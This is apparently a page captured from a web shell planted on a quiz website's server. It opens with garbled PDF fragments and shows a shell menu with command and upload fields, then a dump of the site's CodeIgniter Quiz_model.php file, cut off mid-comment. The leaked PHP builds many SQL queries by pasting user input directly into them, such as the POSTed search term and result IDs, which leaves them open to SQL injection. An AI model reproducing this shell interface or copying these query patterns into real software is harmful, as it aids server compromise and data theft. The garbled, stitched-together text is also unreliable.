%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/chalkbank.com/application/models/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/chalkbank.com/application/models/Quiz_model.php
<?php
Class Quiz_model extends CI_Model
{
  Public function __construct(){
	parent::__construct();  
	$db2 = $this->load->database('readerdb', TRUE);
  }
  function quiz_list($limit, $list_uid='', $ex_gid = ''){
	   $logged_in=$this->session->userdata('logged_in');
		if($logged_in['su']=='0'){
			$gid=$logged_in['gid'];
			if(!empty($ex_gid)){
				$oldgArray[] = $gid;
				$records = array_merge($ex_gid,$oldgArray);	
				$whrQcon = "(";
				if(is_array($records)){
				  $idx = 0;
				  foreach($records as $r){
					$whrQcon = $whrQcon . 'gids like concat("%'. $r .'%")' ;
					if($idx + 1 < count($records)){
					  $whrQcon = $whrQcon . " OR ";
					}
					$idx  = $idx + 1;
				  } 
				  $whrQcon = $whrQcon . " )";
				}
			    $this->db->where($whrQcon);
			} else {
				$where="FIND_IN_SET('".$gid."', gids)"; 
				$this->db->where($where);				
			}
			
		}
	    
		if($list_uid!=''){
		  $this->db->where('savsoft_quiz.admin_id',$list_uid);
		}
	 
		if($this->input->post('search') && $logged_in['su']>='1'){
			$search=$this->input->post('search');
			// $this->db->or_where('quid',$search);
			//$this->db->or_like('quiz_name',$search);
			$where = ' ( description like "%'.$search.'%" OR quiz_name like "%'.$search.'%" OR quid like "%'.$search.'%" )';
			$this->db->where($where);
		}
	
		if($this->input->post('quiz_type')!='' && $logged_in['su']>='1'){
		  $quiz_type = $this->input->post('quiz_type');
		  $this->db->where('savsoft_quiz.quiz_type',$quiz_type);
		}
		
		$this->db->limit($this->config->item('number_of_rows'),$limit);
		$this->db->order_by('start_date','desc');
		$this->db->order_by('quid','desc');
		$query=$this->db->get('savsoft_quiz');
		//echo $this->db->last_query(); die;
		return $query->result_array();
		
	 
 }
  function latest_quiz_list($list_uid=''){
		//$db2 = $this->load->database('readerdb', TRUE);
		$logged_in=$this->session->userdata('logged_in');
		if($logged_in['su']=='0'){
			$gid=$logged_in['gid'];
			$where="FIND_IN_SET('".$gid."', gids)";  
			$this->db->where($where);
		}
	 
		 if($list_uid!=''){
			  $this->db->where('savsoft_quiz.admin_id',$list_uid);
		 }
	 
		if($this->input->post('search') && $logged_in['su']=='1'){
		 $search=$this->input->post('search');
		 $this->db->or_where('quid',$search);
		 $this->db->or_like('quiz_name',$search);
		 $this->db->or_like('description',$search);
		}
		$this->db->where('savsoft_quiz.quiz_type','1');
		$this->db->limit(22); 
		//$this->db->order_by('start_date','desc');
		$this->db->order_by('quid','desc');
		$query=$this->db->get('savsoft_quiz');
		//echo $this->db->last_query(); die;
		return $query->result_array();
		
	 
 }
 
 function get_quiz_summary($uid='')
 {   
	 //$db2 = $this->load->database('readerdb', TRUE);
	 if($uid>0){
		 $query=$this->db->query("SELECT count(distinct uid) as total, quiz_name,rs.quid FROM `savsoft_result` rs JOIN  savsoft_quiz sq ON sq.quid=rs.quid WHERE sq.admin_id = '".$uid."' AND rs.result_status IN('Pass','Fail') GROUP by rs.quid"); 
		 $results = $query->result_array();
	 } else {
		 $query=$this->db->query("SELECT count(distinct uid) as total, quiz_name,rs.quid FROM `savsoft_result` rs JOIN  savsoft_quiz sq ON sq.quid=rs.quid WHERE rs.result_status IN('Pass','Fail') GROUP by rs.quid"); 
		 $results = $query->result_array();
	 }
	 
	 $response = array();
	 foreach($results as $val) {
		$response[$val['quid']] =  $val;
	 }
	 return $response;
}
 
function get_total_qcl($quid){
	$resp = '';
	if(!empty($quid)){
		$query=$this->db->query("select sum(noq) as total from savsoft_qcl where quid=$quid");	
		$resp = $query->row_array();
	}
	return  $resp;
}

 function get_quiz_stats($uid='')
 {
	 //$db2 = $this->load->database('readerdb', TRUE);
	 if($uid>0){
		 $query=$this->db->query("SELECT count(distinct uid) as total, quiz_name,rs.quid FROM `savsoft_result` rs JOIN  savsoft_quiz sq ON sq.quid=rs.quid WHERE sq.admin_id = '".$uid."' GROUP by rs.quid"); 
		 $results =  $query->result_array();
	 } else {
		 $query=$this->db->query("SELECT count(distinct uid) as total, quiz_name,rs.quid FROM `savsoft_result` rs JOIN  savsoft_quiz sq ON sq.quid=rs.quid GROUP by rs.quid"); 
		 $results = $query->result_array();
	 }
	 $response = array();
	 foreach($results as $val) {
		$response[$val['quid']] =  $val;
	 }
	 
	 return $response;
}
 
 function num_quiz($uid=''){
	 //$db2 = $this->load->database('readerdb', TRUE);
	 if($uid!=''){
		  $this->db->where('savsoft_quiz.admin_id',$uid);
	 } 
	 $query=$this->db->get('savsoft_quiz');
	 return $query->num_rows();
 }
 
 /*
 * function : insert_quiz
 */
 function insert_quiz(){
	 
	 $userdata=array(
	 'quiz_name'=>$this->input->post('quiz_name'),
	 'description'=>$this->input->post('description'),
	 'start_date'=>strtotime($this->input->post('start_date')),
	 'end_date'=>strtotime($this->input->post('end_date')),
	 'duration'=>$this->input->post('duration'),
	 'maximum_questions'=>$this->input->post('maximum_questions'),
	 'time_per_question'=>$this->input->post('time_per_question'),
	 'maximum_all_sub_questions'=>$this->input->post('maximum_all_sub_questions'),
	 'maximum_attempts'=>$this->input->post('maximum_attempts'),
	 'total_quiz_questions'=>$this->input->post('maximum_questions'),
	 'pass_percentage'=>$this->input->post('pass_percentage'),
	 'correct_score'=>$this->input->post('correct_score'),
	 'show_result'=>$this->input->post('show_result'),
	 'display_leaderboard'=>$this->input->post('display_leaderboard'),
	 'incorrect_score'=>$this->input->post('incorrect_score'),
	 'ip_address'=>$this->input->post('ip_address'),
	 'view_answer'=>$this->input->post('view_answer'),
	 'camera_req'=>$this->input->post('camera_req'),
	 'quiz_type'=>$this->input->post('quiz_type'),
	 'gids'=>implode(',',$this->input->post('gids')),
	 'admin_id'=>$this->input->post('admin_id'),
	 'question_selection'=>$this->input->post('question_selection')
	 );
	 
	 if($this->input->post('gen_certificate')){
		$userdata['gen_certificate']=$this->input->post('gen_certificate'); 
	 }
	 if($this->input->post('certificate_text')){
		$userdata['certificate_text']=$this->input->post('certificate_text'); 
	 }
	
	 $this->db->insert('savsoft_quiz',$userdata);
	 //echo $this->db->last_query(); die;
	 $quid = $this->db->insert_id();
	 return $quid;
}
 
 function insert_basic_detail(){
	
	$userdata=array(
	'full_name'=>$this->input->post('full_name'),
	'school_id'=>$this->input->post('school_id'),
	'department_id'=>$this->input->post('department_id'),
	'semester'=>$this->input->post('semester'),
	'section'=>$this->input->post('student_section'),
	'qid'=>$this->input->post('quid'),
	'user_id'=>$this->input->post('user_id'),
	'createdon'=>date('Y-m-d H:i:s')
	);
	
	// Check User Already Register Then Update the Details
	$qid = $this->input->post('quid');
	$user_id = $this->input->post('user_id');

	$query = $this->db->query("select * from quiz_basic_details where qid = '$qid' AND user_id = '$user_id' AND status='1' AND is_deleted='0'");
	$results = $query->row_array();
	
	if(empty($results)) {
		$this->db->insert('quiz_basic_details',$userdata);
		//echo $this->db->last_query(); die;
		//echo $quid = $this->db->insert_id(); die;
	 } else {
		$this->db->where('id',$results['id']);
		$this->db->update('quiz_basic_details',$userdata); 
		//echo $this->db->last_query(); die;
	 }
	 
	 return $qid;
}
 
 
 function copy_quiz($quizArray)
 {
	 $userdata=array(
	 'quiz_name'=>$quizArray['quiz_name'].' Copy',
	 'description'=>$quizArray['description'],
	 'start_date'=>strtotime(date('Y-m-d H:i:s')),
	 'end_date'=>strtotime(date('Y-m-d H:i:s', strtotime('+1 days'))),
	 'duration'=>$quizArray['duration'],
	 'form_display'=>$quizArray['form_display'],
	 'maximum_questions'=>$quizArray['maximum_questions'],
	 'maximum_all_sub_questions'=>$quizArray['maximum_all_sub_questions'],
	 'time_per_question'=>$quizArray['time_per_question'],
	 'maximum_attempts'=>$quizArray['maximum_attempts'],
	 'total_quiz_questions'=>$quizArray['total_quiz_questions'],
	 'pass_percentage'=>$quizArray['pass_percentage'],
	 'show_result'=>$quizArray['show_result'],
	 'display_leaderboard'=>$quizArray['display_leaderboard'],
	 'correct_score'=>$quizArray['correct_score'],
	 'quiz_type'=>$quizArray['quiz_type'],
	 'incorrect_score'=>$quizArray['incorrect_score'],
	 'ip_address'=>$quizArray['ip_address'],
	 'view_answer'=>$quizArray['view_answer'],
	 'camera_req'=>$quizArray['camera_req'],
	 'admin_id'=>$quizArray['admin_id'],
	 'qids'=>$quizArray['qids'],
	 'question_selection'=>$quizArray['question_selection'],
	 'gids'=>''
	 );
	 if($quizArray['gen_certificate']){
		$userdata['gen_certificate']=$quizArray['gen_certificate']; 
	 }
	 if($quizArray['certificate_text']){
		$userdata['certificate_text']=$quizArray['certificate_text']; 
	 }
	 $pQuizId = $quizArray['quid'];
	 
	 $this->db->insert('savsoft_quiz',$userdata);
	 $quid = $this->db->insert_id(); 
	 
	 $this->db->where('quid',$quid);
	 $query=$this->db->get('savsoft_quiz',$userdata);
	 $quiz=$query->row_array();
	 if($quiz['question_selection']=='1'){
		 
		$this->db->where('quid',$quid);
		$this->db->delete('savsoft_qcl');
		$this->db->where('quid',$pQuizId);
		$query=$this->db->get('savsoft_qcl');
		$qclResults=$query->result_array();
		foreach($qclResults as $key => $row){
			$userdata = array(
			 'quid'=>$quid,
			 'cid'=>$row['cid'],
			 'lid'=>$row['lid'],
			 'tqpc'=>$row['tqpc'],
			 'rc_answer'=>'0',
			 'noq'=>$row['noq'],
			 'limit_start'=>$row['limit_start'],
			 'limit_end'=>$row['limit_end']
			 );
			 $this->db->insert('savsoft_qcl',$userdata);
		}
		$userdata=array('noq'=>$quizArray['noq'],'copy_quid'=>$pQuizId);
		$this->db->where('quid',$quid);
		$this->db->update('savsoft_quiz',$userdata);
	}
	return $quid;
 }
 
 function update_quiz($quid)
 {
	 $userdata=array(
	 'quiz_name'=>$this->input->post('quiz_name'),
	 'description'=>$this->input->post('description'),
	 'start_date'=>strtotime($this->input->post('start_date')),
	 'end_date'=>strtotime($this->input->post('end_date')),
	 'duration'=>$this->input->post('duration'),
	 'form_display'=>$this->input->post('form_display'),
	 'maximum_questions'=>$this->input->post('maximum_questions'),
	 'maximum_all_sub_questions'=>$this->input->post('maximum_all_sub_questions'),
	 'time_per_question'=>$this->input->post('time_per_question'),
	 'maximum_attempts'=>$this->input->post('maximum_attempts'),
	 'total_quiz_questions'=>$this->input->post('maximum_questions'),
	 'pass_percentage'=>$this->input->post('pass_percentage'),
	 'show_result'=>$this->input->post('show_result'),
	 'display_leaderboard'=>$this->input->post('display_leaderboard'),
	 'correct_score'=>$this->input->post('correct_score'),
	 'quiz_type'=>$this->input->post('quiz_type'),
	 'incorrect_score'=>$this->input->post('incorrect_score'),
	 'ip_address'=>$this->input->post('ip_address'),
	 'view_answer'=>$this->input->post('view_answer'),
	 'camera_req'=>$this->input->post('camera_req'),
	 'gids'=>implode(',',$this->input->post('gids'))
	 );
	 if($this->input->post('gen_certificate')){
		$userdata['gen_certificate']=$this->input->post('gen_certificate'); 
	 }
	 if($this->input->post('certificate_text')){
		$userdata['certificate_text']=$this->input->post('certificate_text'); 
	 }

	  $this->db->where('quid',$quid);
	  $this->db->update('savsoft_quiz',$userdata);
	  
	  $this->db->where('quid',$quid);
	  $query=$this->db->get('savsoft_quiz',$userdata);
	 $quiz=$query->row_array();
	 if($quiz['question_selection']=='1'){
		 
	  $this->db->where('quid',$quid);
	  $this->db->delete('savsoft_qcl');
	 
	 foreach($_POST['cid'] as $ck => $val){
		 if(isset($_POST['noq'][$ck])){
			 if($_POST['noq'][$ck] >= '1'){
				 $userdata = array(
				 'quid'=>$quid,
				 'cid'=>$val,
				 'lid'=>$_POST['lid'][$ck],
				 'tqpc'=>$_POST['tqpc'][$ck],
				 'rc_answer'=>'0',
				 'noq'=>$_POST['noq'][$ck],
				 'limit_start'=>$_POST['limit_start'][$ck],
				 'limit_end'=>$_POST['limit_end'][$ck]
				 );
				 $this->db->insert('savsoft_qcl',$userdata);
			 }
		 }
	 }
		 $userdata=array(
		 'noq'=>array_sum($_POST['noq'])
	);
	 $this->db->where('quid',$quid);
	  $this->db->update('savsoft_quiz',$userdata);
	 }
	return $quid;
	 
 }
 
 function get_questions($qids){
	 //$db2 = $this->load->database('readerdb', TRUE);
	 if($qids == ''){
		$qids=0; 
	 }else{
		 $qids=$qids;
	 }
	/*
	 if($cid!='0'){
		 $db2->where('savsoft_qbank.cid',$cid);
	 }
	 if($lid!='0'){
		 $db2->where('savsoft_qbank.lid',$lid);
	 }
	*/
	  
	 $query=$this->db->query("select * from savsoft_qbank join savsoft_category on savsoft_category.cid=savsoft_qbank.cid join savsoft_level on savsoft_level.lid=savsoft_qbank.lid where savsoft_qbank.qid in ($qids) order by FIELD(savsoft_qbank.qid,$qids)");
	 return $query->result_array();
 }
 
 function get_single_questions($qids){
	 if($qids>0){
		$query=$this->db->query("select question from savsoft_qbank where savsoft_qbank.qid =$qids limit 1");
		return $query->row_array();
	 }
 }
 
 function get_options($qids){
	 
	 //$db2 = $this->load->database('readerdb', TRUE);
	 $resp = array();     
	 if($qids<>''){
		$query=$this->db->query("select oid,qid,q_option,q_option_match,score from savsoft_options where qid in ($qids) order by FIELD(savsoft_options.qid,$qids)");
		$resp = $query->result_array(); 
	 }
	 return $resp;
	 
 } 
 function get_options_list($qids){
	 
	 //$db2 = $this->load->database('readerdb', TRUE);
	 $results = array();	 
	 if($qids<>''){
		$query=$this->db->query("select oid,qid,q_option,q_option_match,score from savsoft_options where qid in ($qids) order by FIELD(savsoft_options.qid,$qids)");
		$results = array();
		foreach($query->result_array() as $row) {
			$results[] = $row;
		} 
	 }
	 return $results;
	 
 }
 
 
 
 function up_question($quid,$qid){
  	$this->db->where('quid',$quid);
 	$query=$this->db->get('savsoft_quiz');
 	$result=$query->row_array();
 	$qids=$result['qids'];
 	if($qids==""){
 	$qids=array();
 	}else{
 	$qids=explode(",",$qids);
 	}
 	$qids_new=array();
 	foreach($qids as $k => $qval){
 	if($qval == $qid){

 	$qids_new[$k-1]=$qval;
	$qids_new[$k]=$qids[$k-1];
	
 	}else{
	$qids_new[$k]=$qval;
 	
	}
 	}
 	
 	$qids=array_filter(array_unique($qids_new));
 	$qids=implode(",",$qids);
 	$userdata=array(
 	'qids'=>$qids
 	);
 		$this->db->where('quid',$quid);
	$this->db->update('savsoft_quiz',$userdata);

}



function down_question($quid,$qid){
  	$this->db->where('quid',$quid);
 	$query=$this->db->get('savsoft_quiz');
 	$result=$query->row_array();
 	$qids=$result['qids'];
 	if($qids==""){
 	$qids=array();
 	}else{
 	$qids=explode(",",$qids);
 	}
 	$qids_new=array();
 	foreach($qids as $k => $qval){
 	if($qval == $qid){

 	$qids_new[$k]=$qids[$k+1];
$kk=$k+1;
	$kv=$qval;
 	}else{
	$qids_new[$k]=$qval;
 	
	}

 	}
 	$qids_new[$kk]=$kv;
	
 	$qids=array_filter(array_unique($qids_new));
 	$qids=implode(",",$qids);
 	$userdata=array(
 	'qids'=>$qids
 	);
 		$this->db->where('quid',$quid);
	$this->db->update('savsoft_quiz',$userdata);

}




function get_qcl($quid){
	 //$db2 = $this->load->database('readerdb', TRUE);
	 $this->db->where('quid',$quid);
	 $query=$this->db->get('savsoft_qcl');
	 return $query->result_array();
	
}

 function remove_qid($quid,$qid){
	 
	 $this->db->where('quid',$quid);
	 $query=$this->db->get('savsoft_quiz');
	 $quiz=$query->row_array();
	 $new_qid=array();
	 foreach(explode(',',$quiz['qids']) as $key => $oqid){
		 
		 if($oqid != $qid){
			$new_qid[]=$oqid; 
			 
		 }
		 
	 }
	 $noq=count($new_qid);
	 $userdata=array(
	 'qids'=>implode(',',$new_qid),
	 'noq'=>$noq
	 
	 );
	 $this->db->where('quid',$quid);
	 $this->db->update('savsoft_quiz',$userdata);
	 return true;
 }
 
  function add_qid($quid,$qid){
	 
	 $this->db->where('quid',$quid);
	 $query=$this->db->get('savsoft_quiz');
	 $quiz=$query->row_array();
	 $new_qid=array();
	 $new_qid[]=$qid;
	 foreach(explode(',',$quiz['qids']) as $key => $oqid){
		 
		 if($oqid != $qid){
			$new_qid[]=$oqid; 
			 
		 }
		 
	 }
	 $new_qid=array_filter(array_unique($new_qid));
	 $noq=count($new_qid);
	 $userdata=array(
	 'qids'=>implode(',',$new_qid),
	 'noq'=>$noq
	 
	 );
	 $this->db->where('quid',$quid);
	 $this->db->update('savsoft_quiz',$userdata);
	 return true;
 }
 

 
 function get_school($quid){
	 $db2 = $this->load->database('readerdb', TRUE);
	 $db2->where('status','1');
	 $query=$db2->get('tbl_schools');
	 return $query->result_array();
	 
	 
 } 
 
 function get_department($school_id = '0'){
	 $db2 = $this->load->database('readerdb', TRUE);
	 if($school_id>0){
		$db2->where('school_id',$school_id);
	 }
	 $db2->where('status','1');
	 $query=$db2->get('tbl_mentee_departments 	');
	 return $query->result_array();
	 
	 
 } 
 
 function get_quiz($quid){
	 //$db2 = $this->load->database('readerdb', TRUE);
	 $this->db->where('quid',$quid);
	 $query=$this->db->get('savsoft_quiz');
	 return $query->row_array();
	 
	 
 } 
 
 function remove_quiz($quid){
	 
	 $this->db->where('quid',$quid);
	 if($this->db->delete('savsoft_quiz')){
		 
		 return true;
	 }else{
		 
		 return false;
	 }
 }

 function count_result($quid,$uid)
 {
	$db2 = $this->load->database('readerdb', TRUE);
	$db2->where('quid',$quid); 
	$db2->where('uid',$uid);
	$db2->where('result_status<>"Open"');
	$query=$db2->get('savsoft_result');
	return $query->num_rows();
 }
 
 function insert_result_old($quid,$uid){
	 
	// get quiz info
	$this->db->where('quid',$quid);
	$query=$this->db->get('savsoft_quiz');
	$quiz=$query->row_array();
	//print_r($quiz); die;
	if($quiz['question_selection']=='0'){
		
		// get questions	
		$noq=$quiz['noq'];	
		// Get random Question Id's
		
		$qids=explode(',',$quiz['qids']);
		$categories=array();
		$category_range=array();

		$i=0;
		$wqids=implode(',',$qids);
		$query=$this->db->query("select * from savsoft_qbank join savsoft_category on savsoft_category.cid=savsoft_qbank.cid where qid in ($wqids) ORDER BY FIELD(qid,$wqids)");	
		$questions=$query->result_array();
		foreach($questions as $qk => $question){
			if(!in_array($question['category_name'],$categories)){
			 $categories[]=$question['category_name'];
			$category_range[]=$i+$noq;
			}
		}
	} else {
		// randomaly select qids
		$this->db->where('quid',$quid);
		$query=$this->db->get('savsoft_qcl');
		$qcl=$query->result_array();
	
		$qids=array();
		$categories=array();
		$category_range=array();
		foreach($qcl as $k => $val){
			$cid=$val['cid'];
			$lid=$val['lid'];
			//$noq=$quiz['noq'];
			if($quiz['maximum_all_sub_questions']==1){
				$noq = $val['tqpc'];
			} else {
				$noq = $quiz['maximum_questions'];
			}
			$i=0;
			$query=$this->db->query("select * from savsoft_qbank join savsoft_category on savsoft_category.cid=savsoft_qbank.cid where savsoft_qbank.cid='$cid' and lid='$lid' ORDER BY RAND() limit $noq ");	
			$questions=$query->result_array();
			foreach($questions as $qk => $question){
				$qids[]=$question['qid'];
				if(!in_array($question['category_name'],$categories)){
				$categories[]=$question['category_name'];
				$category_range[]=$i+$noq;
				}
			}
		}
	}
	
	 $zeros=array();
	 foreach($qids as $qidval){
		$zeros[]=0;
	 }
	 $userdata=array(
	 'quid'=>$quid,
	 'uid'=>$uid,
	 'r_qids'=>implode(',',$qids),
	 'categories'=>implode(',',$categories),
	 'category_range'=>implode(',',$category_range),
	 'start_time'=>time(),
	 'individual_time'=>implode(',',$zeros),
	 'score_individual'=>implode(',',$zeros),
	 'attempted_ip'=>$_SERVER['REMOTE_ADDR'] 
	 );
	 
	 if($this->session->userdata('photoname')){
		 $photoname=$this->session->userdata('photoname');
		 $userdata['photo']=$photoname;
	 }
	  $this->db->insert('savsoft_result',$userdata);
	  $rid=$this->db->insert_id();
	return $rid;
 }
 
 /*
 * Function : insert_result
 *
 */
 function insert_result($quid,$uid){
	 
	// get quiz info
	$this->db->where('quid',$quid);
	$query=$this->db->get('savsoft_quiz');
	$quiz=$query->row_array();
	//print_r($quiz); die;
	if($quiz['question_selection']=='0'){
		// get questions	
		$noq=$quiz['noq'];
		
		// Get random Question Id's
		$qids=explode(',',$quiz['qids']);
		$categories=array();
		$category_range=array();

		$i=0;
		$wqids=implode(',',$qids);
		$query=$this->db->query("select * from savsoft_qbank join savsoft_category on savsoft_category.cid=savsoft_qbank.cid where qid in ($wqids) ORDER BY FIELD(qid,$wqids)");	
		$questions=$query->result_array();
		foreach($questions as $qk => $question){
			if(!in_array($question['category_name'],$categories)){
			 $categories[]=$question['category_name'];
			$category_range[]=$i+$noq;
			}
		}
	} else {
		// randomaly select qids
		$this->db->where('quid',$quid);
		$query=$this->db->get('savsoft_qcl');
		$qcl=$query->result_array();
		$qids=array();
		$categories=array();
		$category_range=array();
		
		foreach($qcl as $k => $val){
			$cid = $val['cid'];
			$lid = $val['lid'];
			$rca = $val['rc_answer'];
			$lstart = $val['limit_start'];
			$lend = $val['limit_end'];
			
			if($quiz['maximum_all_sub_questions']==1){
				$noq = $val['tqpc'];
			} else {
				$noq = $quiz['maximum_questions']; 
			}
			
			$i=0;
			if($rca=='1'){
				$query=$this->db->query("select * from savsoft_rcqbank join savsoft_category on savsoft_category.cid = savsoft_rcqbank.cid where savsoft_rcqbank.cid='$cid' and lid='$lid' ORDER BY RAND() limit $noq");	
			    $questions = $query->result_array();	
			} else {
				if($lend>0) {
					$query=$this->db->query("select * from savsoft_qbank join savsoft_category on savsoft_category.cid=savsoft_qbank.cid where savsoft_qbank.cid='$cid' and lid='$lid' ORDER BY qid limit $lstart , $lend");
					$results = $query->result_array();
					$questions = $this->resultToArray($results,$noq);
				} else {
					$query=$this->db->query("select * from savsoft_qbank join savsoft_category on savsoft_category.cid=savsoft_qbank.cid where savsoft_qbank.cid='$cid' and lid='$lid' ORDER BY RAND() limit $noq");
					$questions = $query->result_array();
				}
			}
			//print_r($questions); die;
			$k=0;
			foreach($questions as $qk => $question){
				if($rca=='1')
				{
					$rc_qid = $question['qid'];
					$rcQuestion = $question['question'];
					// Get All question of Same Batch
					if($rc_qid>0){
						$rcqidArray[$k]=  $rc_qid;
						$k++;
						$rcquery=$this->db->query("select * from savsoft_qbank join savsoft_category on savsoft_category.cid=savsoft_qbank.cid where rc_qid='$rc_qid' ORDER BY RAND()");
						$rcquestions = $rcquery->result_array();
						foreach($rcquestions as $rc){
						    $qids[]=$rc['qid'];
							if(!in_array($rc['category_name'],$categories)){
								$categories[]=$rc['category_name'];
								$category_range[]=$i+$noq;
							}
						}
						
					}
				} else {
					$qids[]=$question['qid'];
					if(!in_array($question['category_name'],$categories)){
					$categories[]=$question['category_name'];
					$category_range[]=$i+$noq;
					}
				}
			}
		}
		
	}
	 
	 $zeros=array();
	 foreach($qids as $qidval){
		$zeros[]=0;
	 }
	 
	 $userdata=array(
	 'quid'=>$quid,
	 'uid'=>$uid,
	 'r_qids'=>implode(',',$qids),
	 'categories'=>implode(',',$categories),
	 'category_range'=>implode(',',$category_range),
	 'start_time'=>time(),
	 'rc_qid'=>implode(',',$rcqidArray),
	 'individual_time'=>implode(',',$zeros),
	 'score_individual'=>implode(',',$zeros),
	 'attempted_ip'=>$_SERVER['REMOTE_ADDR'] 
	 );
	 if($this->session->userdata('photoname')){
		 $photoname=$this->session->userdata('photoname');
		 $userdata['photo']=$photoname;
	  }
    $this->db->insert('savsoft_result',$userdata);
    //echo $this->db->last_query(); die;
    $rid=$this->db->insert_id();
    return $rid;
 }
 
 /*
 * Function : resultToArray
 */
 function resultToArray($result, $numRows='1') {
	$rows = array();
	foreach($result as $row) {
        $rows[] = $row;
    }
	
	$price = array_column($rows, 'rc_qid');
	array_multisort($price, SORT_DESC, $rows);

    shuffle($rows);
    if ( $numRows > 0 ) {
        $rows = array_splice($rows, 0, $numRows);
    }
	return $rows;
}

 /*
 * Function : quizsample_result
 */
 function quizsample_result($quid,$uid){
	// get quiz info
	$this->db->where('quid',$quid);
	$query=$this->db->get('savsoft_quiz');
	$quiz=$query->row_array();
	//print_r($quiz); die;
	if($quiz['question_selection']=='0'){
		// get questions	
		$noq=$quiz['noq'];
		
		// Get random Question Id's
		$qids=explode(',',$quiz['qids']);
		$categories=array();
		$category_range=array();

		$i=0;
		$wqids=implode(',',$qids);
		$query=$this->db->query("select * from savsoft_qbank join savsoft_category on savsoft_category.cid=savsoft_qbank.cid where qid in ($wqids) ORDER BY FIELD(qid,$wqids)");	
		$questions=$query->result_array();
		foreach($questions as $qk => $question){
			if(!in_array($question['category_name'],$categories)){
			 $categories[]=$question['category_name'];
			$category_range[]=$i+$noq;
			}
		}
	} else {
		// randomaly select qids
		$this->db->where('quid',$quid);
		$query=$this->db->get('savsoft_qcl');
		$qcl=$query->result_array();
		$qids=array();
		$categories=array();
		$category_range=array();
		
		foreach($qcl as $k => $val){
			
			$cid = $val['cid'];
			$lid = $val['lid'];
			$rca = $val['rc_answer'];
			$lstart = $val['limit_start'];
			$lend = $val['limit_end'];
			
			if($quiz['maximum_all_sub_questions']==1){
				$noq = $val['tqpc'];
			} else {
				$noq = $quiz['maximum_questions']; 
			}
			
			$i=0;
			if($rca=='1'){
				$query=$this->db->query("select * from savsoft_rcqbank join savsoft_category on savsoft_category.cid = savsoft_rcqbank.cid where savsoft_rcqbank.cid='$cid' and lid='$lid' ORDER BY RAND() limit $noq");	
			    $questions = $query->result_array();	
			} else {
				$questions = '';
				if($lend>0) {
					$query=$this->db->query("select * from savsoft_qbank join savsoft_category on savsoft_category.cid=savsoft_qbank.cid where savsoft_qbank.cid='$cid' and lid='$lid' ORDER BY qid limit $lstart , $lend");
					//echo $this->db->last_query(); die;
					$results = $query->result_array();
					$questions = $this->resultToArray($results,$noq);
				} else {
					$query=$this->db->query("select * from savsoft_qbank join savsoft_category on savsoft_category.cid=savsoft_qbank.cid where savsoft_qbank.cid='$cid' and lid='$lid' ORDER BY RAND() limit $noq");
					$questions = $query->result_array();
				
				}
			}
	    	//print_r($questions); die;
			$k=0;
			foreach($questions as $qk => $question){
				
				
				if($rca=='1'){
					$rc_qid = $question['qid'];
					$rcQuestion = $question['question'];
					// Get All question of Same Batch
					if($rc_qid>0){
						$rcqidArray[$k]=  $rc_qid;
						$k++;
						$rcquery=$this->db->query("select * from savsoft_qbank join savsoft_category on savsoft_category.cid=savsoft_qbank.cid where rc_qid='$rc_qid' ORDER BY RAND()");
						$rcquestions = $rcquery->result_array();
						foreach($rcquestions as $rc){
						    $qids[]=$rc['qid'];
							if(!in_array($rc['category_name'],$categories)){
								$categories[]=$rc['category_name'];
								$category_range[]=$i+$noq;
							}
						}
						
					}
				} else {
					$qids[]=$question['qid'];
					if(!in_array($question['category_name'],$categories)){
					$categories[]=$question['category_name'];
					$category_range[]=$i+$noq;
					}
				}
			}
		}
		
	}
	 
	 $zeros=array();
	 foreach($qids as $qidval){
		$zeros[]=0;
	 }
	 
	 $userdata=array(
	 'quid'=>$quid,
	 'uid'=>$uid,
	 'r_qids'=>implode(',',$qids),
	 'categories'=>implode(',',$categories),
	 'category_range'=>implode(',',$category_range),
	 'start_time'=>time(),
	 'rc_qid'=>implode(',',$rcqidArray),
	 'individual_time'=>implode(',',$zeros),
	 'score_individual'=>implode(',',$zeros),
	 'attempted_ip'=>$_SERVER['REMOTE_ADDR'] 
	 );
	 if($this->session->userdata('photoname')){
		 $photoname=$this->session->userdata('photoname');
		 $userdata['photo']=$photoname;
	  }
	  $this->db->insert('quizsample_results',$userdata);
	  $rid=$this->db->insert_id();
	  return $rid;
 }
 
	/*
	* function : rcanswerQuestionList
	*/
	function rcanswerQuestionList($rqids){
		$response = array();
		if(!empty($rqids)) {
		$result_open=$this->lang->line('open');
		$query=$this->db->query("select qid,question from savsoft_rcqbank  where savsoft_rcqbank.qid IN($rqids)"); 
		$result = $query->result_array();
			foreach($result as $row){
				$response[$row['qid']] = $row['question'];
			}
		}
		return $response;
	}
 
 function open_result($quid,$uid){
	$db2 = $this->load->database('readerdb', TRUE);
	$result_open=$this->lang->line('open');
	$query=$db2->query("select * from savsoft_result  where savsoft_result.result_status='$result_open' AND quid='$quid' AND uid='$uid'"); 
	$result = $query->result_array();
	if($query->num_rows() >= '1'){
		$result=$query->row_array();
		return $result['rid'];		
	}else{
		return '0';
	}
 }
 
 function samplequiz_result($rid){
	//$db2 = $this->load->database('readerdb', TRUE);
	$query=$this->db->query("select * from quizsample_results join savsoft_quiz on quizsample_results.quid=savsoft_quiz.quid where quizsample_results.rid='$rid' "); 
	return $query->row_array(); 
	 
 } 
 
 function quiz_result($rid){
	//$db2 = $this->load->database('readerdb', TRUE);
	$query=$this->db->query("select * from savsoft_result join savsoft_quiz on savsoft_result.quid=savsoft_quiz.quid where savsoft_result.rid='$rid' "); 
	return $query->row_array(); 
	 
 }
 
  function saved_answers($rid){
	    //$db2 = $this->load->database('readerdb', TRUE);
		$query=$this->db->query("select * from savsoft_answers  where savsoft_answers.rid='$rid' "); 
		return $query->result_array(); 
	}
	/*
	* function : get_basic_detail
	*
	*/
